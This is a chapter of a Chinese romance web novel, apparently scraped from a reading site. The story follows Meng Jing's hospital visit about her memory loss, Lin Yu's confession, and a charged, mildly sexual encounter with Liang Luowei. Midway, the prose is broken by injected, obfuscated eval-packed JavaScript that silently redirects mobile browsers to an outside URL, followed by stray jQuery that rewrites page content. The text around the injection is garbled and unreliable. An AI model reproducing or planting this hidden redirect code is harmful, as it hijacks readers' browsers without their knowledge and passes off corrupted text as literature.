26. 第二十六夜

作品:《绝版昨夜[京圈]

    上午还艳阳高照,到了正午,天却不知不觉阴下来。来种树的师傅怕下雨,三人也不顾得吃饭,抢着时间把剩下的活儿一并干完。


    等到完全结束,已经是下午两点。


    孟婧在院子里忙活了大半天,终于见到了想象中花园的雏形,也算是得偿所愿。亲近大自然对于缓解焦虑有奇效,再加上体力透支,让她暂时没空去想那些有的没的。


    懒得做饭,林屿点了外卖,两人在餐厅一边吃,一边透过落地玻璃窗看着院中的劳动成果。


    “天气预报说雨要晚上才开始下,虽然刚才师傅已经把主干加固了,还是要小心。”


    孟婧笑着:“知道知道,这已经是你第二次说啦。”


    林屿被说得有点不好意思:“应该看看天气预报再让师傅来的,万一晚上被风刮倒,还要再让他来救。”


    说起记性二字,孟婧这才终于想起正事。


    “对了,我的CT片子,能帮我拿给你导师看看吗?听说他是这方面的专家,我…还是希望多方参考一下医生的意见。”


    林屿想了想:“你下午没事的话,不如和我一起回医院?老师今天没那么忙,也许可以当面答复你。”


    孟婧当然一百个愿意。


    出发前,她在橱柜深处找出几个玻璃饭盒,将梁珞唯熬的那粥收起来。宽敞的双开门冰箱中,还零散放着昨晚剩下的小食,孟婧犹豫要不要扔掉,不知不觉间也听到了滴滴的警报声。


    “孟婧,冰箱在响。”


    她怔了一瞬,想到昨晚和梁珞唯说了同样的话,却觉得那场景已经过去很久很久。


    她突然开始想他。


    “我们走吧。”


    一路无话,林屿见她心事重重,将座椅靠背调低,空调也设置成最小风量,等到车开到医院时,孟婧还闭着眼睛。


    林屿倒车,顺势将手搭在副驾靠背后面拍了拍,她才回了神。


    “我睡着了…”孟婧有点不好意思,明明体力活都是别人干的,她却累成这样。


    活动几下酸痛的肩背,她自嘲道:“太缺乏锻炼。”


    “昨晚没睡好?”林屿低头熄了火,“脑部的伤,更需要多休息。”


    孟婧看看窗外,率先拉开车门:“遵命,林医生。”


    林屿的导师是国家神内科顶尖级别的存在,孟婧没有想到,这样的大人物,居然是一位非常和蔼可亲的老人,不仅认真听了孟婧描述的病情,看完片子后,还给出了不同于其他专家的建议。


    “从片子上看不出太多异常,但结合你失忆的时间段来看,或许脑室穿刺引流术并不适合。”


    “林屿帮你联系的那个外国专家我也认识,他擅长操作最先进的设备,但如果影响的是记忆部分,手术的危险性会成倍增加。”


    孟婧手心出了汗:“您的意思是…保守治疗吗?”


    教授沉吟片刻:“前几天的跨境会议上,有一位我的老朋友,提出一个新课题,其中有一部分是和你的病症相关。”


    林屿皱眉:“老师…”


    “林屿,我们虽然是专业人士,但病人的选择权,还应该掌握在自己手上。”


    林屿叹了口气,想了很久,看向孟婧:“是我出国读博的导师,他近期在做脑部创伤后遗症的相关课题,尝试采用一些非创伤性疗法进行干预。”


    孟婧困惑地看向老教授:“您建议我参与研究?”


    林屿打断:“我不建议。”


    “为什么?”


    其实林屿也说不出具体原因。


    前几天参与视频会议时,他就已经发现这个项目和孟婧的病情比较契合,但招募的毕竟是志愿者,如果由其他教授带队,可能他还会建议孟婧去试试,但如果是自己也参与…


    他做不到,起码现在的他做不到。


    看着林屿对孟婧的态度,教授心里也猜到了七八分,他宽慰道:“也没有你想象的那么严重。课题才刚刚启动,这是一个很漫长的过程,光前期检查就要一个多月,她的身体符不符合样本要求还未可知。我倒是觉得,既然你们都去同一个国家上学,早晚都要走,何不趁此机会去试试?如果不行,就权当去旅游了。”


    “可是第一批招募快要截止了,她才刚找了实习,很多事情还要再…”


    “林屿,我可以考虑。”孟婧打断他,露出个释然的笑,“什么都没有自己的身体重要,对不对?”


    “也不用马上就决定。”导师拍拍林屿的肩膀,“先把病例发给那边看看再说。”


    从医院出来,已经天黑。乌云中偶尔划过几道闪电,街上卷起气旋,惊得行人纷纷加快脚步。


    孟婧先去了医院门口的超市,出来以后,发现林屿开了车在等她。


    “天气不好,我送你。”林屿的脸上没了往日的和煦笑容,取而代之的是凝重。


    孟婧将东西抱在怀里,若有所思。


    雨在半路上就下起来,一开始只是淅淅沥沥,之后便开始有小块的冰雹落下,很快又变换成中雨。


    周末最后一天,晚上最容易堵车,京市的交通瞬间处于瘫痪边缘。


    灯火通明的夜色被加了一层滤镜,看不真切,孟婧抚摸着玻璃窗上不断流淌的雨帘,说:“林屿,我最近…喜欢上一个人。”


    路口红绿灯闪烁,前车一个急刹,林屿险些追尾。


    孟婧无视胸前突然勒紧的安全带,继续说:“虽然我们没有谈恋爱,我也不知道怎么才能和他好好相处,但喜不喜欢这件事,我看一眼就能确定。”


    “在此之前,我一向觉得自己是很直接的人,分析利弊后出手,为了得到想要的,也可以委曲求全。”孟婧笑了笑,“但是喜欢一个人的时候,就变得好别扭,别扭得莫名其妙的。”


    害怕得到却留不住,无缘无故便认定分别后再无法相逢,想看他笑,又怀疑他会在她看不见的地方偷偷伤心。


    “你刚才就挺别扭的。”孟婧转过头,看向林屿,“是我的错觉吗?”


    终于还是谈到这个话题。


    林屿屈起抓紧方向盘的手指,将车子里的音乐调小一些:“可能你是全世界最后有‘错觉’的那个人吧。”


    他迎着孟婧不解的目光:“我以为这是显而易见的事情。”


    孟婧摇摇头:“可你从来没有说过…”


    “因为我看得出来,你把我当哥哥了。”林屿深深叹了一口气,“不过现在说出来,感觉也没那么伤心,毕竟我早料到这个结果。”


    “如果有让你误会的地方,我道歉。”孟婧说完被自己逗笑,“怎么感觉茶里茶气的。”


    林屿也笑了:“要怪也是怪你一直太客气,一点表白的机会也不给我。”


    话已经说开,他也没了顾忌:“刚才我在医院的意思,并不是想拦着你,你懂的,对于专业性的东西越了解,越知道其中隐藏的风险点,是我关心则乱了。”


    “我明白,也感谢林医生的关心。不过你导师说得对,提前买张机票的事,对我来说并不影响什么,反正这个城市…也没什么值得留恋的了。”


    红灯变绿,前方道路骤然宽阔,车子终于开出了应有的速度,林屿连超几辆车,问:“不是还有喜欢的人?”


    孟婧看着前方因为不断加速而略过的风景,缓缓道:“网上都说,喜不喜欢,合不合适,能不能在一起,这是三件不同的事情。”


    她从不吝啬付出和表达,但同时又对“拥有”这件事抱着极度悲观的态度,也许她和梁珞唯,连“合适”都算不上吧。


    历经一个半小时堵车,终于回到溪山别苑。林屿本想和孟婧一起进院子看看树苗的情况,但雨实在太大,孟婧怕他回去晚了路况不好,坚持一个人下了车。


    进院后,预想中满院树苗东倒西歪的场景并未发生,甚至没有一棵树有所倾斜,孟婧走到唯一的那棵海棠树旁边,发现加固杆竟然比记忆中多了两根。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837432|130760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    无奈她现在最不敢信的就是记忆。


    输密码进门,水渍和淤泥从门口一直蔓延到黑暗深处,孟婧险些滑倒,打开灯才发现玄关处坐着一个人。


    那人身形高大,头发滴着水半遮住眼睛,黑色西裤和衬衫像被泡发了一样贴在身上,描摹出不断起伏的胸肌。他的手搭在膝盖上,掀起的袖口沾满泥污和树叶,小臂尽是划伤。


    “梁珞唯!”孟婧吓得扔下手里的东西,蹲下去扶,立刻闻到他身上浓重的酒气。


    “你喝酒了?”见他没有回应,孟婧继续问,“外面的树苗,是你重新绑好的吗?”


    本应火热的身体被湿漉漉的衣服包裹,失了温度,孟婧根本没力气把他拽起来,只能彻底蹲下与他平视:“梁珞唯,你怎么了?”


    “海棠树…”他终于说话,不像醉了,只是疲惫,“怎么只剩一棵。”


    “其他都被我养坏了,师傅说种上也活不了。”孟婧拨开梁珞唯贴在额头上的刘海,刘海之下的伤口没有处理过,已经被雨水泡的发白,“去清理一下吧,发炎会留疤的。”


    “别碰。”梁珞唯盯着自己满手的泥泞,语气很轻,“脏。”


    他看得认真,好像指尖除了泥土,还有点别的什么。


    “谁说私下不要再见面的。”孟婧忍不住在他面颊上抹了一把,潮湿粘腻的,有温热,也有冰冷,“现在又是做什么?”


    从鞋柜上抽出几张消毒湿巾,她一根手指一根手指地帮他擦干净:“告诉你密码不是为了让你大晚上吓人的。”


    虽然不知道他白天经历了什么,但她看懂了,他现在心情是从未有过的糟糕。


    “我以为你出去了。”梁珞唯身子没动,只将头瞥向窗外。


    孟婧朝着他视线看,正好是院门的方向,漆黑一片。刚才林屿的车掉头离开,从这里应该能看到尾灯。


    梁珞唯视线放空:“他送你回来的。”


    “嗯。”


    “约会么。”


    “…梁珞唯。”


    “抱歉。”男人撑起身子,扶了一把旁边的鞋柜,恢复高大身形,“我该回去了。”


    玄关的钟摆声太响,孟婧默数了几秒,发现他还在原地。


    她不愿再沉溺于那些该死的暧昧,于是上前靠近,轻声问道:“不是要走么,怎么,舍不得了?”


    被风雨吹打过,黑色衬衫最上面的扣子早就松开,原本立挺的领口斜贴在他的锁骨上,被发丝上滴滴答答的水洇得更湿。


    “你只是想让我知道,你吃醋了,对么。”呼吸从那里扫过,孟婧踮起脚尖,伸出双手捧起梁珞唯的脸,逼着他和她对视,“如果我真的去约会了呢,你要怎么办啊。”


    也许是酒精作用,蓝黑色的眸子中第一次出现闪躲和不确定,锐利的刀剑不知被什么磨灭了锋芒,甚至需要很努力才能聚焦。


    梁珞唯盯着孟婧如水的双眸,似要从中汲取一束光,一把火,一丝最后的温暖。


    这些他都得到了,得到了却还不满足,他太冷太凉,还想要更多,多多少都不够。


    行动代替思考,他放纵酒精在自己大脑中肆意冲撞,视线逐渐落在她樱红的唇上,很清醒,却不理智,试图将内心自幼建构的一切体系全部摧毁。


    “不许。”


    那声音低沉、嘶哑。


    孟婧用拇指刮着他的唇角:“再说一遍。”


    “…”


    孟婧惊觉腰上吃痛,下一秒便被单手箍着抱上鞋柜,双膝被掰开环住他,前襟则蹭到黑色衬衫上的雨水,越来越冰凉,再逐渐变得火热。


    那是他的呼吸和体温。


    耳朵被他的头发蹭得好痒,她胡乱抚摸着他的后颈,不忘再添一把火。


    “梁珞唯,昨晚你硬成那样都没有亲我,到底是不愿还是不敢?”


    头顶钟摆还在荡着,他没有回答,呼吸却重了几分,随后撤身,抬眸,终于重重咬上她的唇。